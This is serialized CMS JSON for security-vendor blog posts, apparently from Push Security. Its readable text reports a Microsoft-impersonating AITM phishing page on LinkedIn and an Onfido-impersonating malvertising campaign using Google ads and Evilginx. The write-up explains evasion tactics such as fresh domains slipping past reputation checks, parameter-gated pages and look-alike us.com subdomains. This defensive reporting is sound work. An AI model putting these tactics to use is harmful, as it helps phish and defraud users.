et":104261},{"sys":104262},{"id":99953,"type":909,"linkType":910},[],{"data":104265,"content":104266,"nodeType":866},{},[104267],{"data":104268,"marks":104269,"value":99961,"nodeType":865},{},[],{"data":104271,"content":104274,"nodeType":912},{"target":104272},{"sys":104273},{"id":99966,"type":909,"linkType":910},[],{"data":104276,"content":104277,"nodeType":866},{},[104278],{"data":104279,"marks":104280,"value":99974,"nodeType":865},{},[],{"data":104282,"content":104285,"nodeType":912},{"target":104283},{"sys":104284},{"id":99979,"type":909,"linkType":910},[],{"data":104287,"content":104288,"nodeType":866},{},[104289],{"data":104290,"marks":104291,"value":99987,"nodeType":865},{},[],{"data":104293,"content":104296,"nodeType":912},{"target":104294},{"sys":104295},{"id":99992,"type":909,"linkType":910},[],{"data":104298,"content":104299,"nodeType":866},{},[104300],{"data":104301,"marks":104302,"value":100000,"nodeType":865},{},[],{"data":104304,"content":104307,"nodeType":912},{"target":104305},{"sys":104306},{"id":100005,"type":909,"linkType":910},[],{"data":104309,"content":104310,"nodeType":972},{},[],{"data":104312,"content":104313,"nodeType":981},{},[104314],{"data":104315,"marks":104316,"value":100017,"nodeType":865},{},[104317],{"type":926},{"data":104319,"content":104320,"nodeType":866},{},[104321,104324,104331],{"data":104322,"marks":104323,"value":100024,"nodeType":865},{},[],{"data":104325,"content":104326,"nodeType":889},{"uri":8862},[104327],{"data":104328,"marks":104329,"value":8868,"nodeType":865},{},[104330],{"type":943},{"data":104332,"marks":104333,"value":100035,"nodeType":865},{},[],{"data":104335,"content":104338,"nodeType":912},{"target":104336},{"sys":104337},{"id":100040,"type":909,"linkType":910},[],{"data":104340,"content":104341,"nodeType":1317},{},[104342],{"data":104343,"marks":104344,"value":100049,"nodeType":865},{},[104345],{"type":926},{"data":104347,"content":104348,"nodeType":866},{},[104349,104352,104359],{"data":104350,"marks":104351,"value":100056,"nodeType":865},{},[],{"data":104353,"content":104354,"nodeType":889},{"uri":100059},[104355],{"data":104356,"marks":104357,"value":100065,"nodeType":865},{},[104358],{"type":943},{"data":104360,"marks":104361,"value":100069,"nodeType":865},{},[],{"data":104363,"content":104364,"nodeType":1317},{},[104365],{"data":104366,"marks":104367,"value":100077,"nodeType":865},{},[104368],{"type":926},{"data":104370,"content":104371,"nodeType":866},{},[104372,104375,104382,104385,104392],{"data":104373,"marks":104374,"value":100084,"nodeType":865},{},[],{"data":104376,"content":104377,"nodeType":889},{"uri":38042},[104378],{"data":104379,"marks":104380,"value":100092,"nodeType":865},{},[104381],{"type":943},{"data":104383,"marks":104384,"value":100096,"nodeType":865},{},[],{"data":104386,"content":104387,"nodeType":889},{"uri":100099},[104388],{"data":104389,"marks":104390,"value":100105,"nodeType":865},{},[104391],{"type":943},{"data":104393,"marks":104394,"value":100109,"nodeType":865},{},[],{"data":104396,"content":104397,"nodeType":866},{},[104398],{"data":104399,"marks":104400,"value":100116,"nodeType":865},{},[],{"data":104402,"content":104403,"nodeType":1317},{},[104404],{"data":104405,"marks":104406,"value":100124,"nodeType":865},{},[104407],{"type":926},{"data":104409,"content":104410,"nodeType":866},{},[104411,104414,104421],{"data":104412,"marks":104413,"value":96062,"nodeType":865},{},[],{"data":104415,"content":104416,"nodeType":889},{"uri":96065},[104417],{"data":104418,"marks":104419,"value":96071,"nodeType":865},{},[104420],{"type":943},{"data":104422,"marks":104423,"value":96075,"nodeType":865},{},[],{"data":104425,"content":104426,"nodeType":1317},{},[104427],{"data":104428,"marks":104429,"value":100148,"nodeType":865},{},[104430],{"type":926},{"data":104432,"content":104433,"nodeType":866},{},[104434,104437,104444],{"data":104435,"marks":104436,"value":100155,"nodeType":865},{},[],{"data":104438,"content":104439,"nodeType":889},{"uri":96164},[104440],{"data":104441,"marks":104442,"value":100163,"nodeType":865},{},[104443],{"type":943},{"data":104445,"marks":104446,"value":100167,"nodeType":865},{},[],{"data":104448,"content":104451,"nodeType":912},{"target":104449},{"sys":104450},{"id":100172,"type":909,"linkType":910},[],{"data":104453,"content":104454,"nodeType":972},{},[],{"data":104456,"content":104457,"nodeType":981},{},[104458],{"data":104459,"marks":104460,"value":37911,"nodeType":865},{},[104461],{"type":926},{"data":104463,"content":104464,"nodeType":866},{},[104465,104468,104475],{"data":104466,"marks":104467,"value":100190,"nodeType":865},{},[],{"data":104469,"content":104470,"nodeType":889},{"uri":937},[104471],{"data":104472,"marks":104473,"value":100198,"nodeType":865},{},[104474],{"type":943},{"data":104476,"marks":104477,"value":100202,"nodeType":865},{},[],{"data":104479,"content":104480,"nodeType":866},{},[104481],{"data":104482,"marks":104483,"value":100209,"nodeType":865},{},[],{"data":104485,"content":104488,"nodeType":912},{"target":104486},{"sys":104487},{"id":67359,"type":909,"linkType":910},[],{"data":104490,"content":104491,"nodeType":972},{},[],{"data":104493,"content":104494,"nodeType":981},{},[104495],{"data":104496,"marks":104497,"value":67289,"nodeType":865},{},[104498],{"type":926},{"data":104500,"content":104501,"nodeType":866},{},[104502,104505,104512],{"data":104503,"marks":104504,"value":67309,"nodeType":865},{},[],{"data":104506,"content":104507,"nodeType":889},{"uri":8862},[104508],{"data":104509,"marks":104510,"value":67317,"nodeType":865},{},[104511],{"type":943},{"data":104513,"marks":104514,"value":67321,"nodeType":865},{},[],{"data":104516,"content":104517,"nodeType":866},{},[104518],{"data":104519,"marks":104520,"value":85393,"nodeType":865},{},[],{"data":104522,"content":104523,"nodeType":866},{},[104524],{"data":104525,"marks":104526,"value":100253,"nodeType":865},{},[],{"data":104528,"content":104531,"nodeType":912},{"target":104529},{"sys":104530},{"id":100258,"type":909,"linkType":910},[],{"data":104533,"content":104534,"nodeType":866},{},[104535,104538,104545,104548,104555],{"data":104536,"marks":104537,"value":11372,"nodeType":865},{},[],{"data":104539,"content":104540,"nodeType":889},{"uri":11375},[104541],{"data":104542,"marks":104543,"value":11381,"nodeType":865},{},[104544],{"type":943},{"data":104546,"marks":104547,"value":53880,"nodeType":865},{},[],{"data":104549,"content":104550,"nodeType":889},{"uri":1372},[104551],{"data":104552,"marks":104553,"value":11405,"nodeType":865},{},[104554],{"type":943},{"data":104556,"marks":104557,"value":1615,"nodeType":865},{},[],{"entries":104559},{"hyperlink":104560,"inline":104561,"block":104562},[],[],[104563,104589,104594,104599,104604,104610,104617,104642,104649,104651],{"sys":104564,"__typename":5503,"content":104565,"name":104588,"title":59},{"id":99897},{"json":104566},{"nodeType":1382,"data":104567,"content":104568},{},[104569],{"nodeType":866,"data":104570,"content":104571},{},[104572,104576,104584],{"nodeType":865,"value":104573,"marks":104574,"data":104575},"This is the second blog post we’ve released on LinkedIn-based phishing attacks — ",[],{},{"nodeType":889,"data":104577,"content":104578},{"uri":937},[104579],{"nodeType":865,"value":104580,"marks":104581,"data":104583},"read our last report",[104582],{"type":943},{},{"nodeType":865,"value":104585,"marks":104586,"data":104587}," to learn about a sophisticated spear-phishing campaign targeting tech company executives.",[],{},"Phishing blog post insight box 2",{"sys":104590,"__typename":1390,"title":104591,"caption":104591,"layoutMode":59,"file":104592},{"id":99953},"Custom landing page hosted on Firebase.",{"url":104593,"width":1402,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/5gjDDExYBbCZOIH4FcSONO/0bfd1bddd13fd5096f0a60b690803930/image4.png",{"sys":104595,"__typename":1390,"title":104596,"caption":104596,"layoutMode":59,"file":104597},{"id":99966},"The victim is prompted to click the link to “view with Microsoft”. ",{"url":104598,"width":1402,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/6Wm1lVmjX8WyLHmTP4sEpV/49b6d013ccde770b1b467dc16da01d45/image3.png",{"sys":104600,"__typename":1390,"title":104601,"caption":104601,"layoutMode":59,"file":104602},{"id":99979},"The phishing page is protected by Cloudflare Turnstile.",{"url":104603,"width":1402,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/4nxdRlox0ZOAqd3YWaIerI/245ffaec121d59d565aa4c6f073e590a/image2.png",{"sys":104605,"__typename":1390,"title":104606,"caption":104606,"layoutMode":59,"file":104607},{"id":99992},"AITM phishing page impersonating Microsoft.",{"url":104608,"width":1402,"height":104609},"https://images.ctfassets.net/y1cdw1ablpvd/2aLY3it2x1Vslss8uCDsOz/9f93644ece3f88fc3b8cd118c906257c/image6.png",1085,{"sys":104611,"__typename":1390,"title":104612,"caption":104612,"layoutMode":59,"file":104613},{"id":100005},"Detection Timeline provided by the Push platform.",{"url":104614,"width":104615,"height":104616},"https://images.ctfassets.net/y1cdw1ablpvd/2iD9HLNz1sLjMeXVm4BoWU/0072a2ad90de59cd5e2a373905be67e2/Frame_627987.png",908,788,{"sys":104618,"__typename":5503,"content":104619,"name":104641,"title":59},{"id":100040},{"json":104620},{"nodeType":1382,"data":104621,"content":104622},{},[104623],{"nodeType":866,"data":104624,"content":104625},{},[104626,104630,104638],{"nodeType":865,"value":104627,"marks":104628,"data":104629},"Learn more about phishing detection evasion techniques in our recent whitepaper: ",[],{},{"nodeType":889,"data":104631,"content":104633},{"uri":104632},"https://pushsecurity.com/resources/phishing-evolution",[104634],{"nodeType":865,"value":104635,"marks":104636,"data":104637},"The Evolution of Phishing Attacks",[],{},{"nodeType":865,"value":1615,"marks":104639,"data":104640},[],{},"LinkedIn Phishing p2: Insight box 1",{"sys":104643,"__typename":1390,"title":104644,"caption":104644,"layoutMode":59,"file":104645},{"id":100172},"Randomly generated tab header text.",{"url":104646,"width":104647,"height":104648},"https://images.ctfassets.net/y1cdw1ablpvd/28EfPHtOCKnnIBLtAuHjDH/a441a96b328ed6228e096542a44092a8/image1.png",1430,208,{"sys":104650,"__typename":1414,"type":1415,"ctaText":90651,"buttonLabel":68733,"buttonColour":1418,"buttonUrl":90586},{"id":67359},{"sys":104652,"__typename":52243,"title":104653,"arcadeDemoUrl":104654,"playText":52246},{"id":100258},"LinkedIn Phishing Attack Stopped By Push","https://demo.arcade.software/C99MO1d824gs5anTRyIJ?embed",{"items":104656},[],{},"New LinkedIn phishing campaign identified by Push Security",{"items":104660},[104661,105140,105626],{"__typename":1429,"sys":104662,"content":104663,"title":87601,"synopsis":101344,"hashTags":59,"publishedDate":101345,"slug":87602,"tagsCollection":105130,"authorsCollection":105136},{"id":79682},{"json":104664},{"data":104665,"content":104666,"nodeType":1382},{},[104667,104672,104678,104684,104690,104693,104700,104706,104722,104727,104733,104738,104744,104750,104755,104768,104773,104779,104784,104787,104794,104800,104807,104823,104829,104835,104842,104858,104865,104881,104888,104904,104909,104912,104919,104925,104964,104970,104976,104979,104986,104992,105028,105031,105038,105044,105085,105108,105114],{"data":104668,"content":104671,"nodeType":912},{"target":104669},{"sys":104670},{"id":100819,"type":909,"linkType":910},[],{"data":104673,"content":104674,"nodeType":866},{},[104675],{"data":104676,"marks":104677,"value":100827,"nodeType":865},{},[],{"data":104679,"content":104680,"nodeType":866},{},[104681],{"data":104682,"marks":104683,"value":100834,"nodeType":865},{},[],{"data":104685,"content":104686,"nodeType":866},{},[104687],{"data":104688,"marks":104689,"value":100841,"nodeType":865},{},[],{"data":104691,"content":104692,"nodeType":972},{},[],{"data":104694,"content":104695,"nodeType":981},{},[104696],{"data":104697,"marks":104698,"value":79610,"nodeType":865},{},[104699],{"type":926},{"data":104701,"content":104702,"nodeType":866},{},[104703],{"data":104704,"marks":104705,"value":100858,"nodeType":865},{},[],{"data":104707,"content":104708,"nodeType":866},{},[104709,104712,104719],{"data":104710,"marks":104711,"value":100865,"nodeType":865},{},[],{"data":104713,"content":104714,"nodeType":889},{"uri":100868},[104715],{"data":104716,"marks":104717,"value":100874,"nodeType":865},{},[104718],{"type":943},{"data":104720,"marks":104721,"value":100878,"nodeType":865},{},[],{"data":104723,"content":104726,"nodeType":912},{"target":104724},{"sys":104725},{"id":100883,"type":909,"linkType":910},[],{"data":104728,"content":104729,"nodeType":866},{},[104730],{"data":104731,"marks":104732,"value":100891,"nodeType":865},{},[],{"data":104734,"content":104737,"nodeType":912},{"target":104735},{"sys":104736},{"id":100896,"type":909,"linkType":910},[],{"data":104739,"content":104740,"nodeType":866},{},[104741],{"data":104742,"marks":104743,"value":100904,"nodeType":865},{},[],{"data":104745,"content":104746,"nodeType":866},{},[104747],{"data":104748,"marks":104749,"value":100911,"nodeType":865},{},[],{"data":104751,"content":104754,"nodeType":912},{"target":104752},{"sys":104753},{"id":100916,"type":909,"linkType":910},[],{"data":104756,"content":104757,"nodeType":866},{},[104758,104761,104765],{"data":104759,"marks":104760,"value":100924,"nodeType":865},{},[],{"data":104762,"marks":104763,"value":100929,"nodeType":865},{},[104764],{"type":926},{"data":104766,"marks":104767,"value":100933,"nodeType":865},{},[],{"data":104769,"content":104772,"nodeType":912},{"target":104770},{"sys":104771},{"id":100938,"type":909,"linkType":910},[],{"data":104774,"content":104775,"nodeType":866},{},[104776],{"data":104777,"marks":104778,"value":100946,"nodeType":865},{},[],{"data":104780,"content":104783,"nodeType":912},{"target":104781},{"sys":104782},{"id":100951,"type":909,"linkType":910},[],{"data":104785,"content":104786,"nodeType":972},{},[],{"data":104788,"content":104789,"nodeType":981},{},[104790],{"data":104791,"marks":104792,"value":100963,"nodeType":865},{},[104793],{"type":926},{"data":104795,"content":104796,"nodeType":866},{},[104797],{"data":104798,"marks":104799,"value":100970,"nodeType":865},{},[],{"data":104801,"content":104802,"nodeType":1317},{},[104803],{"data":104804,"marks":104805,"value":100978,"nodeType":865},{},[104806],{"type":926},{"data":104808,"content":104809,"nodeType":866},{},[104810,104813,104820],{"data":104811,"marks":104812,"value":54342,"nodeType":865},{},[],{"data":104814,"content":104815,"nodeType":889},{"uri":100059},[104816],{"data":104817,"marks":104818,"value":100992,"nodeType":865},{},[104819],{"type":943},{"data":104821,"marks":104822,"value":100996,"nodeType":865},{},[],{"data":104824,"content":104825,"nodeType":866},{},[104826],{"data":104827,"marks":104828,"value":101003,"nodeType":865},{},[],{"data":104830,"content":104831,"nodeType":866},{},[104832],{"data":104833,"marks":104834,"value":101010,"nodeType":865},{},[],{"data":104836,"content":104837,"nodeType":1317},{},[104838],{"data":104839,"marks":104840,"value":101018,"nodeType":865},{},[104841],{"type":926},{"data":104843,"content":104844,"nodeType":866},{},[104845,104848,104855],{"data":104846,"marks":104847,"value":101025,"nodeType":865},{},[],{"data":104849,"content":104850,"nodeType":889},{"uri":100099},[104851],{"data":104852,"marks":104853,"value":101033,"nodeType":865},{},[104854],{"type":943},{"data":104856,"marks":104857,"value":101037,"nodeType":865},{},[],{"data":104859,"content":104860,"nodeType":1317},{},[104861],{"data":104862,"marks":104863,"value":101045,"nodeType":865},{},[104864],{"type":926},{"data":104866,"content":104867,"nodeType":866},{},[104868,104871,104878],{"data":104869,"marks":104870,"value":101052,"nodeType":865},{},[],{"data":104872,"content":104873,"nodeType":889},{"uri":96065},[104874],{"data":104875,"marks":104876,"value":101060,"nodeType":865},{},[104877],{"type":943},{"data":104879,"marks":104880,"value":101064,"nodeType":865},{},[],{"data":104882,"content":104883,"nodeType":1317},{},[104884],{"data":104885,"marks":104886,"value":101072,"nodeType":865},{},[104887],{"type":926},{"data":104889,"content":104890,"nodeType":866},{},[104891,104894,104901],{"data":104892,"marks":104893,"value":101079,"nodeType":865},{},[],{"data":104895,"content":104896,"nodeType":889},{"uri":38042},[104897],{"data":104898,"marks":104899,"value":101087,"nodeType":865},{},[104900],{"type":943},{"data":104902,"marks":104903,"value":101091,"nodeType":865},{},[],{"data":104905,"content":104908,"nodeType":912},{"target":104906},{"sys":104907},{"id":67359,"type":909,"linkType":910},[],{"data":104910,"content":104911,"nodeType":972},{},[],{"data":104913,"content":104914,"nodeType":981},{},[104915],{"data":104916,"marks":104917,"value":101107,"nodeType":865},{},[104918],{"type":926},{"data":104920,"content":104921,"nodeType":866},{},[104922],{"data":104923,"marks":104924,"value":101114,"nodeType":865},{},[],{"data":104926,"content":104927,"nodeType":1616},{},[104928,104937,104946,104955],{"data":104929,"content":104930,"nodeType":1570},{},[104931],{"data":104932,"content":104933,"nodeType":866},{},[104934],{"data":104935,"marks":104936,"value":101127,"nodeType":865},{},[],{"data":104938,"content":104939,"nodeType":1570},{},[104940],{"data":104941,"content":104942,"nodeType":866},{},[104943],{"data":104944,"marks":104945,"value":101137,"nodeType":865},{},[],{"data":104947,"content":104948,"nodeType":1570},{},[104949],{"data":104950,"content":104951,"nodeType":866},{},[104952],{"data":104953,"marks":104954,"value":101147,"nodeType":865},{},[],{"data":104956,"content":104957,"nodeType":1570},{},[104958],{"data":104959,"content":104960,"nodeType":866},{},[104961],{"data":104962,"marks":104963,"value":101157,"nodeType":865},{},[],{"data":104965,"content":104966,"nodeType":866},{},[104967],{"data":104968,"marks":104969,"value":101164,"nodeType":865},{},[],{"data":104971,"content":104972,"nodeType":866},{},[104973],{"data":104974,"marks":104975,"value":101171,"nodeType":865},{},[],{"data":104977,"content":104978,"nodeType":972},{},[],{"data":104980,"content":104981,"nodeType":981},{},[104982],{"data":104983,"marks":104984,"value":37911,"nodeType":865},{},[104985],{"type":926},{"data":104987,"content":104988,"nodeType":866},{},[104989],{"data":104990,"marks":104991,"value":101188,"nodeType":865},{},[],{"data":104993,"content":104994,"nodeType":866},{},[104995,104998,105005,105008,105015,105018,105025],{"data":104996,"marks":104997,"value":101195,"nodeType":865},{},[],{"data":104999,"content":105000,"nodeType":889},{"uri":101198},[105001],{"data":105002,"marks":105003,"value":101204,"nodeType":865},{},[105004],{"type":943},{"data":105006,"marks":105007,"value":2717,"nodeType":865},{},[],{"data":105009,"content":105010,"nodeType":889},{"uri":101210},[105011],{"data":105012,"marks":105013,"value":101216,"nodeType":865},{},[105014],{"type":943},{"data":105016,"marks":105017,"value":101220,"nodeType":865},{},[],{"data":105019,"content":105020,"nodeType":889},{"uri":53259},[105021],{"data":105022,"marks":105023,"value":62154,"nodeType":865},{},[105024],{"type":943},{"data":105026,"marks":105027,"value":101231,"nodeType":865},{},[],{"data":105029,"content":105030,"nodeType":972},{},[],{"data":105032,"content":105033,"nodeType":981},{},[105034],{"data":105035,"marks":105036,"value":2270,"nodeType":865},{},[105037],{"type":926},{"data":105039,"content":105040,"nodeType":866},{},[105041],{"data":105042,"marks":105043,"value":101248,"nodeType":865},{},[],{"data":105045,"content":105046,"nodeType":1616},{},[105047,105066],{"data":105048,"content":105049,"nodeType":1570},{},[105050],{"data":105051,"content":105052,"nodeType":866},{},[105053,105056,105063],{"data":105054,"marks":105055,"value":21,"nodeType":865},{},[],{"data":105057,"content":105058,"nodeType":889},{"uri":67880},[105059],{"data":105060,"marks":105061,"value":101268,"nodeType":865},{},[105062],{"type":943},{"data":105064,"marks":105065,"value":21,"nodeType":865},{},[],{"data":105067,"content":105068,"nodeType":1570},{},[105069],{"data":105070,"content":105071,"nodeType":866},{},[105072,105075,105082],{"data":105073,"marks":105074,"value":21,"nodeType":865},{},[],{"data":105076,"content":105077,"nodeType":889},{"uri":101283},[105078],{"data":105079,"marks":105080,"value":101289,"nodeType":865},{},[105081],{"type":943},{"data":105083,"marks":105084,"value":21,"nodeType":865},{},[],{"data":105086,"content":105087,"nodeType":866},{},[105088,105091,105095,105098,105105],{"data":105089,"marks":105090,"value":101299,"nodeType":865},{},[],{"data":105092,"marks":105093,"value":101304,"nodeType":865},{},[105094],{"type":926},{"data":105096,"marks":105097,"value":101308,"nodeType":865},{},[],{"data":105099,"content":105100,"nodeType":889},{"uri":8862},[105101],{"data":105102,"marks":105103,"value":67317,"nodeType":865},{},[105104],{"type":943},{"data":105106,"marks":105107,"value":101319,"nodeType":865},{},[],{"data":105109,"content":105110,"nodeType":866},{},[105111],{"data":105112,"marks":105113,"value":101326,"nodeType":865},{},[],{"data":105115,"content":105116,"nodeType":866},{},[105117,105120,105127],{"data":105118,"marks":105119,"value":101333,"nodeType":865},{},[],{"data":105121,"content":105122,"nodeType":889},{"uri":16069},[105123],{"data":105124,"marks":105125,"value":11405,"nodeType":865},{},[105126],{"type":943},{"data":105128,"marks":105129,"value":1615,"nodeType":865},{},[],{"items":105131},[105132,105134],{"sys":105133,"name":342},{"id":4642},{"sys":105135,"name":7796},{"id":7795},{"items":105137},[105138],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":105139},{"url":7804},{"__typename":1429,"sys":105141,"content":105143,"title":105612,"synopsis":105613,"hashTags":59,"publishedDate":105614,"slug":105615,"tagsCollection":105616,"authorsCollection":105622},{"id":105142},"51p0V5Vr4I9rapUytBWX0R",{"json":105144},{"data":105145,"content":105146,"nodeType":1382},{},[105147,105154,105161,105168,105174,105181,105187,105194,105201,105204,105212,105219,105226,105249,105256,105259,105267,105282,105288,105295,105301,105308,105315,105318,105326,105345,105351,105358,105364,105367,105375,105395,105401,105408,105414,105434,105440,105446,105449,105457,105464,105471,105477,105480,105488,105495,105502,105505,105513,105520,105527,105533,105540,105573,105579,105587,105594],{"data":105148,"content":105149,"nodeType":981},{},[105150],{"data":105151,"marks":105152,"value":79610,"nodeType":865},{},[105153],{"type":926},{"data":105155,"content":105156,"nodeType":866},{},[105157],{"data":105158,"marks":105159,"value":105160,"nodeType":865},{},[],"On April 11th our browser-based phishing detection controls were triggered for a user with the Push extension installed. ",{"data":105162,"content":105163,"nodeType":866},{},[105164],{"data":105165,"marks":105166,"value":105167,"nodeType":865},{},[],"The user had visited the url dashboard[.]onfido[.].us[.]com after entering a Google search for ‘onfido’, a site they had previously accessed for work and had an account on. A convincing looking Google ad duped the user into clicking the fake link.",{"data":105169,"content":105173,"nodeType":912},{"target":105170},{"sys":105171},{"id":105172,"type":909,"linkType":910},"5o1LEkZfeYVjMZmROi3Yh",[],{"data":105175,"content":105176,"nodeType":866},{},[105177],{"data":105178,"marks":105179,"value":105180,"nodeType":865},{},[],"Although the page was not the official login page for Onfido, it appeared legitimate enough at first glance to trick the user. ",{"data":105182,"content":105186,"nodeType":912},{"target":105183},{"sys":105184},{"id":105185,"type":909,"linkType":910},"4Tp1RJ3eSx7r79wwm9d9DZ",[],{"data":105188,"content":105189,"nodeType":866},{},[105190],{"data":105191,"marks":105192,"value":105193,"nodeType":865},{},[],"After clicking the link, the user was blocked from interacting with the malicious page running Evilginx by Push. We then took action to identify other Onfido users within the Push customer base and notify them accordingly of the campaign. ",{"data":105195,"content":105196,"nodeType":866},{},[105197],{"data":105198,"marks":105199,"value":105200,"nodeType":865},{},[],"There are a few interesting elements worth exploring. Let’s dive in. ",{"data":105202,"content":105203,"nodeType":972},{},[],{"data":105205,"content":105206,"nodeType":981},{},[105207],{"data":105208,"marks":105209,"value":105211,"nodeType":865},{},[105210],{"type":926},"Why Onfido?",{"data":105213,"content":105214,"nodeType":866},{},[105215],{"data":105216,"marks":105217,"value":105218,"nodeType":865},{},[],"Onfido is an interesting choice. It’s not your typical phishing target, which points to an interesting trend we’ve observed where attackers are diversifying their phishing targets. ",{"data":105220,"content":105221,"nodeType":866},{},[105222],{"data":105223,"marks":105224,"value":105225,"nodeType":865},{},[],"There are two main reasons for this:",{"data":105227,"content":105228,"nodeType":1616},{},[105229,105239],{"data":105230,"content":105231,"nodeType":1570},{},[105232],{"data":105233,"content":105234,"nodeType":866},{},[105235],{"data":105236,"marks":105237,"value":105238,"nodeType":865},{},[],"People are becoming increasingly suspicious of phishing attacks targeting core apps such as Microsoft, Google, Okta, etc. and are much more likely to spot real vs fake pages. ",{"data":105240,"content":105241,"nodeType":1570},{},[105242],{"data":105243,"content":105244,"nodeType":866},{},[105245],{"data":105246,"marks":105247,"value":105248,"nodeType":865},{},[],"Because highly targeted apps like IdPs and enterprise cloud platforms are becoming increasingly hardened from an identity perspective, attackers have a lower chance of success relative to accounts on the long tail of internet apps used by an organization — many of which simply cannot be securely configured in the same way (e.g. no passkey/WebAuthn support, limited admin controls to discover and remediate identity security gaps, etc.). ",{"data":105250,"content":105251,"nodeType":866},{},[105252],{"data":105253,"marks":105254,"value":105255,"nodeType":865},{},[],"Onfido is also an interesting example in that it definitely contains valuable data that attackers can take advantage of. As a digital identity solution, it presents a significant risk from both a personal and company perspective if compromised, with plenty of PII that can be leveraged to extort a victim — and clear bad press (and possible regulator scrutiny) if the data is leaked!",{"data":105257,"content":105258,"nodeType":972},{},[],{"data":105260,"content":105261,"nodeType":981},{},[105262],{"data":105263,"marks":105264,"value":105266,"nodeType":865},{},[105265],{"type":926},"Why Google ads?",{"data":105268,"content":105269,"nodeType":866},{},[105270,105274,105278],{"data":105271,"marks":105272,"value":105273,"nodeType":865},{},[],"The attack is a form of ",{"data":105275,"marks":105276,"value":441,"nodeType":865},{},[105277],{"type":926},{"data":105279,"marks":105280,"value":105281,"nodeType":865},{},[]," where attackers distribute malicious links via ads — in this case, via Google. This is just one example of the many non-email phishing channels that attackers have at their disposal today. ",{"data":105283,"content":105287,"nodeType":912},{"target":105284},{"sys":105285},{"id":105286,"type":909,"linkType":910},"7kfeOKGXEWVL5RW5jFnQBo",[],{"data":105289,"content":105290,"nodeType":866},{},[105291],{"data":105292,"marks":105293,"value":105294,"nodeType":865},{},[],"The use of malvertising has a couple of notable advantages here. Namely, because Google ads do not use the same reputation-based checks as an email security provider does, the attacker can use freshly created domains to conduct the attack. Usually, attackers would aim to take over existing domains with a reputation already built up, or spend 6-12 months bedding in their domains so that they pass mail filters. ",{"data":105296,"content":105300,"nodeType":912},{"target":105297},{"sys":105298},{"id":105299,"type":909,"linkType":910},"499fj1Xark8Bj7iQjv9Vsm",[],{"data":105302,"content":105303,"nodeType":866},{},[105304],{"data":105305,"marks":105306,"value":105307,"nodeType":865},{},[],"But in this case, the domain was registered only shortly before being used. We detected it only a few hours after it had been registered — and it’s already been taken down since (no doubt to be replaced with the next one). This means it’s easy for attackers to spin up these malvertising campaigns at will, without any real forward planning. ",{"data":105309,"content":105310,"nodeType":866},{},[105311],{"data":105312,"marks":105313,"value":105314,"nodeType":865},{},[],"In fact, malvertising doesn’t require much effort on the attacker’s part whatsoever. As a watering hole, you put the link up and wait for the clicks to roll in. Unfortunately, many people Google search for sites that they frequently use rather than accessing via bookmark, opening them up to these kinds of malvertising attacks. ",{"data":105316,"content":105317,"nodeType":972},{},[],{"data":105319,"content":105320,"nodeType":1317},{},[105321],{"data":105322,"marks":105323,"value":105325,"nodeType":865},{},[105324],{"type":926},"No frills ",{"data":105327,"content":105328,"nodeType":866},{},[105329,105333,105341],{"data":105330,"marks":105331,"value":105332,"nodeType":865},{},[],"Unlike many of the other campaigns using MFA-bypass phishing kits we’ve seen in the wild, the attacker put very little effort into obfuscating the malicious page. We’ve seen some using things like Cloudflare Turnstile, CAPTCHA, or even ",{"data":105334,"content":105335,"nodeType":889},{"uri":104005},[105336],{"data":105337,"marks":105338,"value":105340,"nodeType":865},{},[105339],{"type":943},"Consent Phishing for OIDC scopes ",{"data":105342,"marks":105343,"value":105344,"nodeType":865},{},[],"to break sandbox detections and prevent security tools from reaching the malicious content to analyze it. ",{"data":105346,"content":105350,"nodeType":912},{"target":105347},{"sys":105348},{"id":105349,"type":909,"linkType":910},"7csybR6fJlCWsRy91CbNYL",[],{"data":105352,"content":105353,"nodeType":866},{},[105354],{"data":105355,"marks":105356,"value":105357,"nodeType":865},{},[],"That said, there was evidence to suggest that the domain required a specific URL path — namely, the page must be accessed via Google ads to load. When the page was accessed without the correct parameters set, we were forwarded to a nonexistent page within the legitimate onfido.com domain, resulting in a 404 error.",{"data":105359,"content":105363,"nodeType":912},{"target":105360},{"sys":105361},{"id":105362,"type":909,"linkType":910},"658fTppp0l1YkoMERiQ1Oj",[],{"data":105365,"content":105366,"nodeType":972},{},[],{"data":105368,"content":105369,"nodeType":981},{},[105370],{"data":105371,"marks":105372,"value":105374,"nodeType":865},{},[105373],{"type":926},"What’s interesting about the domain?",{"data":105376,"content":105377,"nodeType":866},{},[105378,105382,105391],{"data":105379,"marks":105380,"value":105381,"nodeType":865},{},[],"One of the things that really stood out to us was the hosting domain — ",{"data":105383,"content":105385,"nodeType":889},{"uri":105384},"http://us.com",[105386],{"data":105387,"marks":105388,"value":105390,"nodeType":865},{},[105389],{"type":943},"us.com",{"data":105392,"marks":105393,"value":105394,"nodeType":865},{},[],". Unlike the official government TLD .us, us.com is designed to look and feel legit but does not require any US affiliation or evidence of a US presence. This isn’t a TLD, it’s just a domain selling subdomains within their domain. This means there’s no WHOIS information available on the domains. ",{"data":105396,"content":105400,"nodeType":912},{"target":105397},{"sys":105398},{"id":105399,"type":909,"linkType":910},"7HtOWLePxPclyfODqC0oR",[],{"data":105402,"content":105403,"nodeType":866},{},[105404],{"data":105405,"marks":105406,"value":105407,"nodeType":865},{},[],"This is incredibly deceptive to the user and will fool many people glancing at the link. It doesn’t look as obviously suspicious as your .xyz or .biz and has the feel of a legitimate domain. It’s also incredibly cheap to pick up .us.com domains right now. ",{"data":105409,"content":105413,"nodeType":912},{"target":105410},{"sys":105411},{"id":105412,"type":909,"linkType":910},"5CHWwlH2ZFZiVOQWMpkquy",[],{"data":105415,"content":105416,"nodeType":866},{},[105417,105421,105430],{"data":105418,"marks":105419,"value":105420,"nodeType":865},{},[],"You can find additional information on ",{"data":105422,"content":105424,"nodeType":889},{"uri":105423},"https://urlscan.io/result/0196338c-75ea-720c-a0e4-c2898acc4779/",[105425],{"data":105426,"marks":105427,"value":105429,"nodeType":865},{},[105428],{"type":943},"urlscan",{"data":105431,"marks":105432,"value":105433,"nodeType":865},{},[]," 